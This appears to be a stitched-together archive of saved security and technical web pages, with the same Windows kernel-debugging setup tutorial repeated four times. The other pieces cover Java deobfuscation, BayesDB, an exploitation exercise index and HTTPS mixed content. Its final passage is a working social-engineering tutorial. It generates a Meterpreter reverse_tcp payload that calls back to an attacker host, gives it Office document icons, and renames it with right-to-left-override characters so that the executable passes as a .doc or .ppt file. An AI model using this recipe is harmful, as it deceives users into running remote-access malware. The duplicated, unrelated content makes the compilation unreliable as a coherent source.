    d2j-jar-remap -f -c init.txt -o a-deobf.jar a.jar
[/code]

now we get the comfortable source

[code]

    package hello;  
      
    import java.io.PrintStream;  
      
    public class World  
    {  
      static String message = "Hello";  
      
      static void say() {  
        System.out.println(message);  
      }  
      
      public static void main(String[] args) {  
        say();  
      }  
    }
[/code]

or run the program with

[code]

    java -cp a-deobf.jar hello.World
[/code]  
---

# BayesDB

**Created:**| _12/7/2013 12:29:56 PM_  
---|---  
**Updated:**| _12/7/2013 12:29:56 PM_  
**Author:**| __  
**Tags:**| _Databases_  
  

# **O** verview****

BayesDB, a Bayesian database table, lets users query the probable implications
of their data as easily as a SQL database lets them query the data itself**.**
Using the built-in Bayesian Query Language \(BQL\), users with no statistics
training can solve basic data science problems, such as detecting predictive
relationships between variables, inferring missing values, simulating probable
observations, and identifying statistically similar database entries**.**

BayesDB is suitable for analyzing complex, heterogeneous data tables with up
to tens of thousands of rows and hundreds of variables**.** No preprocessing
or parameter adjustment is required, though experts can override BayesDB's
default assumptions when appropriate**.**

BayesDB's inferences are based in part on CrossCat , a new, nonparametric
Bayesian machine learning method, that automatically estimates the full joint
distribution behind arbitrary data tables**.**

* * *
# Examples****

`INFER salary FROM mytable WHERE age > 30;`

Fill in missing data with the INFER command**.** Unlike a traditional
regression model, where you need to separately train a supervised model for
each column you're interested in predicting, INFER statements are flexible and
work with any set of columns to predict**.**

* * *
`SIMULATE salary FROM mytable WHERE age > 30;`

Easily simulate new probable observations based on CrossCat's estimate of the
joint density of the data**.**

* * *
`ESTIMATE PAIRWISE DEPENDENCE PROBABILITIES FROM mytable;`

With just one command, estimate any pairwise function of columns, including
the probability that the two columns are statistically dependent, the mutual
information between columns, and their correlation**.**

* * *
# Download****

### Developer Alpha v0**.** 1.0****

VM Quickstart: \[VirtualBox VM \] \[VirtualBox Player \]

Documentation: \[User Documentation \] \[VM README \]

Source Code: \[Github \]

* * *
# About****

BayesDB and its sister project, CrossCat, are being developed by Jay Baxter,
Dan Lovell, and Vikash Mansinghka at Massuchusetts Institute of Technology and
by Pat Shafto and Baxter Eaves at University of Louisville**.**

If you have any comments or questions, please feel free to email us at bayesdb
\[AT\] mit.edu**.**

This research and development is supported in part by the DARPA XDATA
program**.**

* * *
****

# gera's InsecureProgramming page

**Created:**| _7/22/2009 1:02:03 PM_  
---|---  
**Updated:**| _7/22/2009 1:02:16 PM_  
**Author:**| __  
**Tags:**| _Exploit programming_  
  

## Insecure Programming by example

Here you can find a collection of exercises that will help you teach yourself
the art of insecure programs exploitation. It's not complete, but it's minted
to open your mind. The idea is NOT to use any human help. In case you doubt
it, we could exploit all but two of them, stay calm and good luck.  
get them all  
a friend's site with tons of info  
pages pointing here

* * *
**W ARMING UP on STACK  
\#1  
\#2  
\#3  
\#4  
\#5  
**

* * *
**A DVANCED BUFFER OVERFLOWS  
\#1  
\#2  
\#3  
\#4  
\#5  
\#6  
\#7  
\#8  
\#9  
\#10  
**

* * *
**F ORMAT STRINGS  
\#1  
\#2  
\#3  
\#4  
\#5  
**

* * *
**S IGNALS  
\#1  
\#2  
\#3  
\#4  
**

* * *
**E SOTERIC  
\#1  
\#2  
\#3  
\#4  
\#5  
**

* * *
**S tackGuarded  
\#1  
\#2  
\#3  
\#4  
\#5  
\#6  
**

* * *
**N umeric  
\#1  
\#2  
\#3  
\#4  
\#5**  
---

# Windows Kernel Exploitation Tutorial Part 1: Setting up the Environment -
rootkit

**Created:**| _3/7/2018 8:53:18 AM_  
---|---  
**Updated:**| _3/7/2018 8:53:18 AM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

# Windows Kernel Exploitation Tutorial Part 1: Setting up the Environment

June 19, 2017 rootkit

* * *
## Intro

Recently, I had the pleasure to attend the training on Windows Kernel
Exploitation at nullcon by the HackSysTeam. The training was well executed,
and I got the intro into the world of kernel. But, as you know, nobody could
teach you internals about Kernel Exploitation in a couple of days. So I
thought of diving into the kernel, and share everything that I learn in the
process. The series would be coming in parts, as I find the time to learn and
document everything that I encounter.

* * *
## Prerequisites

  * VMWare or Virtualbox \(I’ll be using VMWare for this series\)
  * Windows 7 x86 VM
  * Internet Connection for downloading symbols
  * Powerful enough machine to run the VMs
  * Basic know-hows in day to day computing tasks.

* * *
## Why VMs?

Visualize kernel as the heart of OS. Now, if you have done any application
exploitation in the past, you’d know that you basically crash the application
and try to exploit the crash. Applications can easily be recovered once
crashed, just double click to run again. Now, if you accidentally crash the
kernel, it’s like stopping the heart, the OS would just halt/crash/BSOD, and
could lead to loss of data, corruption etc. in your machine, and you’d be
constantly rebooting the whole machine. VMs are easily setup, isolated and
causes no harm if corrupted. Many people just run the Debugee VM \(the machine
which you’d be crashing alot\) in the VM, and keep their host as the Debugger
machine. I’d be running the setup where both of them would be VM, just to keep
things neat and tidy.

* * *
## Steps

  1. Install Windows 7 x86 in the VM, free download is available at Microsoft VM download page.  
<img src='img/vm.png' width='489' height='382' alt='vm' />

  2. After the Debugger VM is setup and ready to boot, we’d need to install WinDbg, get it here.
  3. We’d also need to setup Debugging Symbols in the Debugger VM. Fortunately, Microsoft provides public debugging symbols. 
     * Go to Computer –> Properties –> Advanced system settings –> Environment Variables.
     * Create a new System Variable as follows: 
       * Variable Name: **\_NT\_SYMBOL\_PATH**
       * Variable Value: ****SRV\*C:\Symbols\*https://msdl.microsoft.com/download/symbols****  
<img src='img/env.png' width='565' height='605' alt='env' />

  4. After WinDbg is installed, we would need to enable debugging in _BCD_ : 
     * Run _cmd_ as administrator, and execute the following commands:  

123 | bcdedit /copy \{current\} /d "Win7Dbg"bcdedit /debug \{0275ed04-3c06-11e3-a1c0-b6bd309a633d\} on bcdedit /dbgsettings  
---|---  
  
<img src='img/bcd.png' width='836' height='402' alt='bcd' />

  5. Now, we’ll create the Debugee VM, by creating a linked clone of the Debugger VM.
  6. Power off the Debugger VM, Right Click –> Manage –> Clone.  
<img src='img/clone1.png' width='518' height='465' />  
<img src='img/clone2.png' width='525' height='468' />  
<img src='img/clone3.png' width='125' height='49' />

  7. Now, we need to enable Serial Ports on both the VMs, so as to make them communicate using a Virtual Serial Port. 
     * For the Debugger VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbg1.png' width='826' height='795' />  
<img src='img/dbg2.png' width='828' height='794' />  
<img src='img/dbg3.png' width='824' height='787' />

     * For the Debugee VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbgee1.png' width='825' height='792' />  
<img src='img/dbgee2.png' width='826' height='790' />  
<img src='img/dbgee3.png' width='826' height='793' />

  8. Now, turn on the Debugger VM first **\(always\)** , and select the first option without the _\[debugger enabled\]_.  
<img src='img/boot1.png' width='1007' height='425' />

  9. After the Debugger VM is booted up, open up the WinDbg –> File –> Kernel Debug –> COM.  
<img src='img/wind1.png' width='555' height='441' />  
<img src='img/windb2.png' width='699' height='454' />

  10. Now, boot up the Debugee VM, and select the second option with _\[debugger enabled\]_.<img src='img/boot2.png' width='989' height='427' />
  11. Now, if you see the following output in the WinDbg in your Debugger VM, congrats, everything is working fine.  
<img src='img/wind3.png' width='699' height='454' />

  12. Now, after the Debugee VM is booted up, hit the _Break_ button, and you should get an interactive _kd >_ prompt, ready to take commands.  
<img src='img/wind4.png' width='892' height='368' />  
<img src='img/wind5.png' width='854' height='515' />

  13. Now, just to be sure that the symbols have been loaded correctly, run the following commands:  

12 | \!sym noisy.reload  
---|---  
  
<img src='img/wind6.png' width='857' height='519' />

* * *
## Conclusion

Congrats, we have successfully setup Kernel Debugging. The next part would be
coming up soon, digging deeper into the kernel, and analyzing the Stack
Overflow in Kernel Space.

Posted in Kernel, TutorialTagged Exploitation, Kernel, Tutorial, Windows

# Windows Kernel Exploitation Tutorial Part 1: Setting up the Environment

June 19, 2017 rootkit

* * *
## Intro

Recently, I had the pleasure to attend the training on Windows Kernel
Exploitation at nullcon by the HackSysTeam. The training was well executed,
and I got the intro into the world of kernel. But, as you know, nobody could
teach you internals about Kernel Exploitation in a couple of days. So I
thought of diving into the kernel, and share everything that I learn in the
process. The series would be coming in parts, as I find the time to learn and
document everything that I encounter.

* * *
## Prerequisites

  * VMWare or Virtualbox \(I’ll be using VMWare for this series\)
  * Windows 7 x86 VM
  * Internet Connection for downloading symbols
  * Powerful enough machine to run the VMs
  * Basic know-hows in day to day computing tasks.

* * *
## Why VMs?

Visualize kernel as the heart of OS. Now, if you have done any application
exploitation in the past, you’d know that you basically crash the application
and try to exploit the crash. Applications can easily be recovered once
crashed, just double click to run again. Now, if you accidentally crash the
kernel, it’s like stopping the heart, the OS would just halt/crash/BSOD, and
could lead to loss of data, corruption etc. in your machine, and you’d be
constantly rebooting the whole machine. VMs are easily setup, isolated and
causes no harm if corrupted. Many people just run the Debugee VM \(the machine
which you’d be crashing alot\) in the VM, and keep their host as the Debugger
machine. I’d be running the setup where both of them would be VM, just to keep
things neat and tidy.

* * *
## Steps

  1. Install Windows 7 x86 in the VM, free download is available at Microsoft VM download page.  
<img src='img/vm.png' width='489' height='382' alt='vm' />

  2. After the Debugger VM is setup and ready to boot, we’d need to install WinDbg, get it here.
  3. We’d also need to setup Debugging Symbols in the Debugger VM. Fortunately, Microsoft provides public debugging symbols. 
     * Go to Computer –> Properties –> Advanced system settings –> Environment Variables.
     * Create a new System Variable as follows: 
       * Variable Name: **\_NT\_SYMBOL\_PATH**
       * Variable Value: ****SRV\*C:\Symbols\*https://msdl.microsoft.com/download/symbols****  
<img src='img/env.png' width='565' height='605' alt='env' />

  4. After WinDbg is installed, we would need to enable debugging in _BCD_ : 
     * Run _cmd_ as administrator, and execute the following commands:  

123 | bcdedit /copy \{current\} /d "Win7Dbg"bcdedit /debug \{0275ed04-3c06-11e3-a1c0-b6bd309a633d\} on bcdedit /dbgsettings  
---|---  
  
<img src='img/bcd.png' width='836' height='402' alt='bcd' />

  5. Now, we’ll create the Debugee VM, by creating a linked clone of the Debugger VM.
  6. Power off the Debugger VM, Right Click –> Manage –> Clone.  
<img src='img/clone1.png' width='518' height='465' />  
<img src='img/clone2.png' width='525' height='468' />  
<img src='img/clone3.png' width='125' height='49' />

  7. Now, we need to enable Serial Ports on both the VMs, so as to make them communicate using a Virtual Serial Port. 
     * For the Debugger VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbg1.png' width='826' height='795' />  
<img src='img/dbg2.png' width='828' height='794' />  
<img src='img/dbg3.png' width='824' height='787' />

     * For the Debugee VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbgee1.png' width='825' height='792' />  
<img src='img/dbgee2.png' width='826' height='790' />  
<img src='img/dbgee3.png' width='826' height='793' />

  8. Now, turn on the Debugger VM first **\(always\)** , and select the first option without the _\[debugger enabled\]_.  
<img src='img/boot1.png' width='1007' height='425' />

  9. After the Debugger VM is booted up, open up the WinDbg –> File –> Kernel Debug –> COM.  
<img src='img/wind1.png' width='555' height='441' />  
<img src='img/windb2.png' width='699' height='454' />

  10. Now, boot up the Debugee VM, and select the second option with _\[debugger enabled\]_.<img src='img/boot2.png' width='989' height='427' />
  11. Now, if you see the following output in the WinDbg in your Debugger VM, congrats, everything is working fine.  
<img src='img/wind3.png' width='699' height='454' />

  12. Now, after the Debugee VM is booted up, hit the _Break_ button, and you should get an interactive _kd >_ prompt, ready to take commands.  
<img src='img/wind4.png' width='892' height='368' />  
<img src='img/wind5.png' width='854' height='515' />

  13. Now, just to be sure that the symbols have been loaded correctly, run the following commands:  

12 | \!sym noisy.reload  
---|---  
  
<img src='img/wind6.png' width='857' height='519' />

* * *
## Conclusion

Congrats, we have successfully setup Kernel Debugging. The next part would be
coming up soon, digging deeper into the kernel, and analyzing the Stack
Overflow in Kernel Space.

Posted in Kernel, TutorialTagged Exploitation, Kernel, Tutorial, Windows

# Windows Kernel Exploitation Tutorial Part 1: Setting up the Environment

June 19, 2017 rootkit

* * *
## Intro

Recently, I had the pleasure to attend the training on Windows Kernel
Exploitation at nullcon by the HackSysTeam. The training was well executed,
and I got the intro into the world of kernel. But, as you know, nobody could
teach you internals about Kernel Exploitation in a couple of days. So I
thought of diving into the kernel, and share everything that I learn in the
process. The series would be coming in parts, as I find the time to learn and
document everything that I encounter.

* * *
## Prerequisites

  * VMWare or Virtualbox \(I’ll be using VMWare for this series\)
  * Windows 7 x86 VM
  * Internet Connection for downloading symbols
  * Powerful enough machine to run the VMs
  * Basic know-hows in day to day computing tasks.

* * *
## Why VMs?

Visualize kernel as the heart of OS. Now, if you have done any application
exploitation in the past, you’d know that you basically crash the application
and try to exploit the crash. Applications can easily be recovered once
crashed, just double click to run again. Now, if you accidentally crash the
kernel, it’s like stopping the heart, the OS would just halt/crash/BSOD, and
could lead to loss of data, corruption etc. in your machine, and you’d be
constantly rebooting the whole machine. VMs are easily setup, isolated and
causes no harm if corrupted. Many people just run the Debugee VM \(the machine
which you’d be crashing alot\) in the VM, and keep their host as the Debugger
machine. I’d be running the setup where both of them would be VM, just to keep
things neat and tidy.

* * *
## Steps

  1. Install Windows 7 x86 in the VM, free download is available at Microsoft VM download page.  
<img src='img/vm.png' width='489' height='382' alt='vm' />

  2. After the Debugger VM is setup and ready to boot, we’d need to install WinDbg, get it here.
  3. We’d also need to setup Debugging Symbols in the Debugger VM. Fortunately, Microsoft provides public debugging symbols. 
     * Go to Computer –> Properties –> Advanced system settings –> Environment Variables.
     * Create a new System Variable as follows: 
       * Variable Name: **\_NT\_SYMBOL\_PATH**
       * Variable Value: ****SRV\*C:\Symbols\*https://msdl.microsoft.com/download/symbols****  
<img src='img/env.png' width='565' height='605' alt='env' />

  4. After WinDbg is installed, we would need to enable debugging in _BCD_ : 
     * Run _cmd_ as administrator, and execute the following commands:  

123 | bcdedit /copy \{current\} /d "Win7Dbg"bcdedit /debug \{0275ed04-3c06-11e3-a1c0-b6bd309a633d\} on bcdedit /dbgsettings  
---|---  
  
<img src='img/bcd.png' width='836' height='402' alt='bcd' />

  5. Now, we’ll create the Debugee VM, by creating a linked clone of the Debugger VM.
  6. Power off the Debugger VM, Right Click –> Manage –> Clone.  
<img src='img/clone1.png' width='518' height='465' />  
<img src='img/clone2.png' width='525' height='468' />  
<img src='img/clone3.png' width='125' height='49' />

  7. Now, we need to enable Serial Ports on both the VMs, so as to make them communicate using a Virtual Serial Port. 
     * For the Debugger VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbg1.png' width='826' height='795' />  
<img src='img/dbg2.png' width='828' height='794' />  
<img src='img/dbg3.png' width='824' height='787' />

     * For the Debugee VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbgee1.png' width='825' height='792' />  
<img src='img/dbgee2.png' width='826' height='790' />  
<img src='img/dbgee3.png' width='826' height='793' />

  8. Now, turn on the Debugger VM first **\(always\)** , and select the first option without the _\[debugger enabled\]_.  
<img src='img/boot1.png' width='1007' height='425' />

  9. After the Debugger VM is booted up, open up the WinDbg –> File –> Kernel Debug –> COM.  
<img src='img/wind1.png' width='555' height='441' />  
<img src='img/windb2.png' width='699' height='454' />

  10. Now, boot up the Debugee VM, and select the second option with _\[debugger enabled\]_.<img src='img/boot2.png' width='989' height='427' />
  11. Now, if you see the following output in the WinDbg in your Debugger VM, congrats, everything is working fine.  
<img src='img/wind3.png' width='699' height='454' />

  12. Now, after the Debugee VM is booted up, hit the _Break_ button, and you should get an interactive _kd >_ prompt, ready to take commands.  
<img src='img/wind4.png' width='892' height='368' />  
<img src='img/wind5.png' width='854' height='515' />

  13. Now, just to be sure that the symbols have been loaded correctly, run the following commands:  

12 | \!sym noisy.reload  
---|---  
  
<img src='img/wind6.png' width='857' height='519' />

* * *
## Conclusion

Congrats, we have successfully setup Kernel Debugging. The next part would be
coming up soon, digging deeper into the kernel, and analyzing the Stack
Overflow in Kernel Space.

Posted in Kernel, TutorialTagged Exploitation, Kernel, Tutorial, Windows

# Windows Kernel Exploitation Tutorial Part 1: Setting up the Environment

June 19, 2017 rootkit

* * *
## Intro

Recently, I had the pleasure to attend the training on Windows Kernel
Exploitation at nullcon by the HackSysTeam. The training was well executed,
and I got the intro into the world of kernel. But, as you know, nobody could
teach you internals about Kernel Exploitation in a couple of days. So I
thought of diving into the kernel, and share everything that I learn in the
process. The series would be coming in parts, as I find the time to learn and
document everything that I encounter.

* * *
## Prerequisites

  * VMWare or Virtualbox \(I’ll be using VMWare for this series\)
  * Windows 7 x86 VM
  * Internet Connection for downloading symbols
  * Powerful enough machine to run the VMs
  * Basic know-hows in day to day computing tasks.

* * *
## Why VMs?

Visualize kernel as the heart of OS. Now, if you have done any application
exploitation in the past, you’d know that you basically crash the application
and try to exploit the crash. Applications can easily be recovered once
crashed, just double click to run again. Now, if you accidentally crash the
kernel, it’s like stopping the heart, the OS would just halt/crash/BSOD, and
could lead to loss of data, corruption etc. in your machine, and you’d be
constantly rebooting the whole machine. VMs are easily setup, isolated and
causes no harm if corrupted. Many people just run the Debugee VM \(the machine
which you’d be crashing alot\) in the VM, and keep their host as the Debugger
machine. I’d be running the setup where both of them would be VM, just to keep
things neat and tidy.

* * *
## Steps

  1. Install Windows 7 x86 in the VM, free download is available at Microsoft VM download page.  
<img src='img/vm.png' width='489' height='382' alt='vm' />

  2. After the Debugger VM is setup and ready to boot, we’d need to install WinDbg, get it here.
  3. We’d also need to setup Debugging Symbols in the Debugger VM. Fortunately, Microsoft provides public debugging symbols. 
     * Go to Computer –> Properties –> Advanced system settings –> Environment Variables.
     * Create a new System Variable as follows: 
       * Variable Name: **\_NT\_SYMBOL\_PATH**
       * Variable Value: ****SRV\*C:\Symbols\*https://msdl.microsoft.com/download/symbols****  
<img src='img/env.png' width='565' height='605' alt='env' />

  4. After WinDbg is installed, we would need to enable debugging in _BCD_ : 
     * Run _cmd_ as administrator, and execute the following commands:  

123 | bcdedit /copy \{current\} /d "Win7Dbg"bcdedit /debug \{0275ed04-3c06-11e3-a1c0-b6bd309a633d\} on bcdedit /dbgsettings  
---|---  
  
<img src='img/bcd.png' width='836' height='402' alt='bcd' />

  5. Now, we’ll create the Debugee VM, by creating a linked clone of the Debugger VM.
  6. Power off the Debugger VM, Right Click –> Manage –> Clone.  
<img src='img/clone1.png' width='518' height='465' />  
<img src='img/clone2.png' width='525' height='468' />  
<img src='img/clone3.png' width='125' height='49' />

  7. Now, we need to enable Serial Ports on both the VMs, so as to make them communicate using a Virtual Serial Port. 
     * For the Debugger VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbg1.png' width='826' height='795' />  
<img src='img/dbg2.png' width='828' height='794' />  
<img src='img/dbg3.png' width='824' height='787' />

     * For the Debugee VM, Right Click –> Settings –> Add –> Serial Port  
<img src='img/dbgee1.png' width='825' height='792' />  
<img src='img/dbgee2.png' width='826' height='790' />  
<img src='img/dbgee3.png' width='826' height='793' />

  8. Now, turn on the Debugger VM first **\(always\)** , and select the first option without the _\[debugger enabled\]_.  
<img src='img/boot1.png' width='1007' height='425' />

  9. After the Debugger VM is booted up, open up the WinDbg –> File –> Kernel Debug –> COM.  
<img src='img/wind1.png' width='555' height='441' />  
<img src='img/windb2.png' width='699' height='454' />

  10. Now, boot up the Debugee VM, and select the second option with _\[debugger enabled\]_.<img src='img/boot2.png' width='989' height='427' />
  11. Now, if you see the following output in the WinDbg in your Debugger VM, congrats, everything is working fine.  
<img src='img/wind3.png' width='699' height='454' />

  12. Now, after the Debugee VM is booted up, hit the _Break_ button, and you should get an interactive _kd >_ prompt, ready to take commands.  
<img src='img/wind4.png' width='892' height='368' />  
<img src='img/wind5.png' width='854' height='515' />

  13. Now, just to be sure that the symbols have been loaded correctly, run the following commands:  

12 | \!sym noisy.reload  
---|---  
  
<img src='img/wind6.png' width='857' height='519' />

* * *
## Conclusion

Congrats, we have successfully setup Kernel Debugging. The next part would be
coming up soon, digging deeper into the kernel, and analyzing the Stack
Overflow in Kernel Space.

Posted in Kernel, TutorialTagged Exploitation, Kernel, Tutorial, Windows

  

# Analyze & Visualize | Page-5
**Created:**| _9/13/2011 10:11:51 PM_  
---|---  
**Updated:**| _9/14/2011 9:08:25 AM_  
**Author:**| __  
**Tags:**| _visualization DSP Gnuradio_  
  

## Linsmith - A tool to generate Smith Charts

|  <img src='img/Temp2_658.png' alt='E-mail' />  
---|---  
Wednesday, 14 July 2010 20:20  
---  
<img src='img/Temp2_659.png' width='48' height='48' alt='A Smith charting
program. You can enter either discrete components or transmission lines, see
the results on screen and/or generate Postscript output. Component values can
be changed numerically or using scrollbars' />The Smith chart, invented by
Phillip H. Smith \(1905-1987\), is a graphical aid or nomogram designed for
electrical and electronics engineers specializing in radio frequency \(RF\)
engineering to assist in solving problems with transmission lines and matching
circuits. The Smith Chart is a graphical reflection coefficient system with
normalized conformal mapping of impedance or admittance coordinates. A Smith
Chart is still a very useful graphics method for getting a quick grasp of the
effects of system design parameters on constant or varying frequency: it's a
tool used in electrical/electronic engineering that shows how the complex
impedance of a transmission line varies along its length, and simplifies the
design of impedance matching networks to match the line to its load. You can
enter either discrete components or transmission lines, see the results on
screen and/or generate Postscript output. Component values can be changed
numerically or using scrollbars. LinSmith is a Smith Charting program, mainly
designed for educational use. As such, there is an emphasis on capabilities
that improve the "showing the effect of" style of operation. Its main features
are:

  * Definition of multiple load impedances \(at different frequencies\);
  * Addition of discrete \(L, C, parallel and series LC, and transformer\) and line components \(open and closed stubs, line segments\);
  * Connection in series and parallel;
  * A 'virtual' component switches from impedance to admittance to help explaining \(or understanding\) parallel components;
  * The chart works in real impedances \(not normalized ones\);
  * Direct view of the result on the screen;
  * Ability to generate publication quality Postscript output;
  * A 'log' file with textual results at each intermediate step;
  * Load and circuit configuration is stored separately, permitting several solutions without re-defining the other.

For more information about Linsmith, click here<img src='img/Temp2_661.png'
alt='here' />. <img src='img/Temp2_660.png' width='133' height='93' /> <img
src='img/Temp2_656.png' width='133' height='93' /> <img
src='img/Temp2_657.png' width='133' height='93' />

# Windows Visa APC Internals

**Created:**| _8/14/2013 8:08:04 AM_  
---|---  
**Updated:**| _8/14/2013 8:08:25 AM_  
**Author:**| _wishi_  
**Tags:**| _windows environment memory-manager_  
  
<img src='img/windows_vista_apc_internals.pdf' width='100%' height='54183' />

# blankwall/Python\_Pin · GitHub

**Created:**| _1/23/2015 12:45:36 PM_  
---|---  
**Updated:**| _1/23/2015 12:45:36 PM_  
**Author:**| __  
**Tags:**| __  
  

# Python\_Pin

Python bindings for pin.

#  Build Instructions

Pre-requisite is python-dev `sudo apt-get install python-dev` on Ubuntu.

Copy the entire directory into ~/pin/source/tools

Type make and enjoy\!

#  Using the Extension

Most of pin's functionality is exposed via the `pin` module, internal to the
pintool. Its implementation is very similar to the way gdb handles python
extensions.

To run a specific python script, for example the strace script: `../../../pin
-t obj-intel64/Python_Pin.so -m examples/strace.py -- /bin/ls`

#  Current Issues

  1. Some Python modules are compiled as shared objects without symbols. These modules can't be loaded from within the python pin tool. \(solution is to either not use those modules, or have a custom build of python alongside the pintool\)
  2. Need to work on compiling for Mac and Windows. Code should be portable but makefile may need to be updated.

# HTTPS Mixed Content: Still the Easiest Way to Break SSL | Security Labs | Qualys Community
**Created:**| _3/26/2014 1:24:52 PM_  
---|---  
**Updated:**| _3/26/2014 1:24:52 PM_  
**Author:**| __  
**Tags:**| _browser ssl_  
  

# Security Labs

Previous Next

Mixed content issues arise when web sites deliver their pages over HTTPS, but
allow some of the resources to be delivered in plaintext. The active network
attacker can't do anything about the encrypted traffic, but messing with the
plaintext can result with attacks ranging from phishing in the best case to
full browser compromise in the worst. A single exposed script is sufficient:
the attacker can hijack the connection and inject arbitrary attack payloads
into it.

We tend to talk a lot about other aspects of SSL/TLS, but **mixed content is
arguably the easiest way to completely mess up your web site encryption**.

In the very early days of the Web, all mixed content was allowed; web browsers
expected site operators to think through the consequences of mixing content.
That, of course, did not result with great security. Site operators did
whatever they needed to get their work done and decrease costs. Only in recent
years did browser vendors start to pay attention and start to restrict mixed
content.

## Mixed content in modern browsers

Today, almost all major browsers tend to break mixed content into two
categories: _passive_ for images, videos, and sound; and _active_ for more
dangerous resources, such as scripts. They tend to allow passive mixed content
by default, but reject active content. This is clearly a compromise between
breaking the Web and reasonable security.

Internet Explorer has been the leader in secure mixed content handling. As
early as Internet Explorer 5 \(according to this post\), they had detection
and prevention of insecure content by default. Chrome started blocking by
default in 2011, and Firefox in 2013. The default **Android browser and
Safari, however, still allow all mixed content without any restrictions**
\(and with almost non-existent warnings\).

Here are the results of my recent testing of what insecure content is allowed
by default:

Browser| Images| CSS| Scripts| XHR| WebSockets| Frames  
---|---|---|---|---|---|---  
Android browser 4.4.x| Yes| Yes| Yes| Yes| Yes| Yes  
Chrome 33| Yes| No| No| Yes| Yes| No  
Firefox 28| Yes| No| No| No| No| No  
Internet Explorer 11| Yes| No| No| No| No| No  
Safari 7| Yes| Yes| Yes| Yes| Yes| Yes  
They are mostly as expecting, but there's a surprise with **Chrome, which
blocks active page content, but still allows plaintext XMLHttpRequest and
WebSocket connections**.

It's worth mentioning that the table does not tell us everything. For example,
browsers tend not to control what their plugins do. Further, certain
components \(e.g., Flash or Java\) are full environments in their own right,
and there's little browsers can do to enforce security.

## Testing for mixed content handling in SSL Labs

To make it easier to evaluate browser handling of this problem, I recently
extended the SSL Labs Client Test to probe mixed content handling. When you
visit the page, your user browser is tested, and you will get results similar
to these:

<img src='img/Temp2_3584.png' alt='ssl-labs-client-test-mixed-content.png' />

## Mixed content prevalence

Anecdotally, mixed content is very common. At Qualys, we investigated this
problem in 2011, along with several other application-level issues that result
with full breakage of encryption in web applications. We analysed the
homepages of about 250,000 secure web sites from the Alexa top 1 million list,
and determined that 22.41% of them used insecure content. If images are
excluded, the number falls to 18.71%.

A more detailed study of 18,526 sites extracted from Alexa top 100,000 took
place in 2013: _A Dangerous Mix: Large-scale analysis of mixed-content
websites \(Chen et al.\)_. For each site, up to 200 secure pages were
analysed, arriving at a total of 481,656 pages. Their results indicate that up
to 43% of web sites have mixed content issues.

## Mitigation

The best defence against mixed content issues is simply not having this type
of problem in your code. But that's easily said than done; there are many ways
in which mixed content can creep up. When that fails, there are two
technologies that can come useful:

  * **HTTP Strict Transport Security \(HSTS\)** is a mechanism that enforces secure resource retrieval, even in the face of user mistakes \(attempting to access your web site on port 80\) and implementation errors \(your developers place an insecure link into a secure page\). HSTS is one of the best thing that happened to TLS recently, but it works only on the hostnames you control. 
  * **Content Security Policy \(CSP\)** can be used to block insecure resource retrieval from third-party web sites. It also has many other useful features for to address other application security issues, for example XSS. 

# Relentless Coding: Social engineering with unicode filenames

**Created:**| _10/24/2011 11:20:05 AM_  
---|---  
**Updated:**| _10/24/2011 11:20:05 AM_  
**Author:**| __  
**Tags:**| _socialising unicode_  
  

### Social engineering with unicode filenames

There have been several reports on special unicode characters being used to
hide the real extension of a file - most times to make an execute file look
like a document or a picture file, tricking the user into starting the
executable.  
  
Although the attack is not new, I could not find much information about good
ways to create such files - so here is how I created a meterpreter payload and
made it look like a normal file on Windows Vista/7.  
During the process, I accessed the files both from Linux \(metasploit, ruby\)
and Windows \(Resource Hacker\) using a Virtual Box machine with a shared
folder. It should be possible to do everything on Windows only, but I did not
test it.  
  
First, create a payload:  
  

1| `./msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1
-f exe LHOST=192.168.1.1 LPORT=4444 >/tmp/demo.exe`  
---|---  
  
To make the file look like our target format, we need to give the executable
file an icon. Copy demo.exe to demo\_doc.exe and demo\_ppt.exe to create a
Word and a Powerpoint template.  
  
Now we need to find the correct icons for these filetypes. Start Resource
Hacker \(http://www.angusj.com/resourcehacker/\) and open the Word executable
holding the icons \("c:\program files\microsoft office\office14\wordicon.exe"
on my system\). Find a suitable icon group and note the corresponding values
\(resource name = 201 and language = 1033 in my case\). Resource Hacker showed
some error messages on my system, but it worked nonetheless.  
  

<img src='img/Temp2_6795.png' />

  
  
Now open your payload \(demo\_doc.exe\) file in Resource Hacker. Click "Action
-> Add a new Resource". Open the file holding the icon \(wordicon.exe in my
case\), set resource type to "ICON" and enter the collected values.  
If you use an executable that already has an icon \(e.g. when executing
msfvenom with calc.exe as a template\), use "Action -> Replace Icon".  
  

<img src='img/Temp2_6796.png' />

  
  
Click "Add Resource" and save the file.  
  
Repeat the process for the Powerpoint file. I used the file powerpnt.exe,
resource name = 1301, language = 1033.  
  
This is what you should see in Windows Explorer:  
  

<img src='img/Temp2_6797.png' />

  
  
  
  
  
  
Theoretically, you could first rename the files before editing the icon
resources. However, in my tests Resource hacker did not work correctly with
the unicode filenames, so I recommend doing it in the described order.  
  
The most used character for these tricks is "right-to-left override" \(RTLO\),
in unicode: U+202E.  
First, we need to convert this into an UTF-8 representation. You can do this
by hand, like described here: http://home.tiscali.nl/t876506/utf8tbl.html, or
you can just look it up:
http://www.fileformat.info/info/unicode/char/202e/index.htm  
  
So, U+202E converts to 0xE280AE.  
With a simple RTLO, we can reverse the right side of the filename, so
"cod.exe" looks like "exe.doc". We are quite limited here, as the name of the
file needs to end on exe.  
  
One good example I found was a file displayed as "SexyAlexe.ppt". The real
name of this file is "SexyAl\xe2\x80\xaetpp.exe".  
  
I used ruby to execute the rename commands, as the special characters
sometimes cause problems if you try to execute them in a normal shell.  
  

1| `ruby -e 'File.rename("demo_ppt.exe", "SexyAl\xe2\x80\xaetpp.exe")'`  
---|---  
  
In Windows Explorer:  
  

<img src='img/Temp2_6799.png' />

  
  
  
For more advanced file names, we need a second unicode character: U+202D =
0xE280AD, this one is called left-to-right override \(LTRO\).  
  
Using this, the real file extension of the file can be placed anywhere in the
displayed filename. We now also use .scr as extension to have more options.  
  

12345| `# [RTLO]cod.yrammus_evituc[LTRO]2011.exe``ruby -e
'File.rename("demo_doc.exe",
"\xe2\x80\xaecod.yrammus_evituc\xe2\x80\xad2011.exe")'` `#
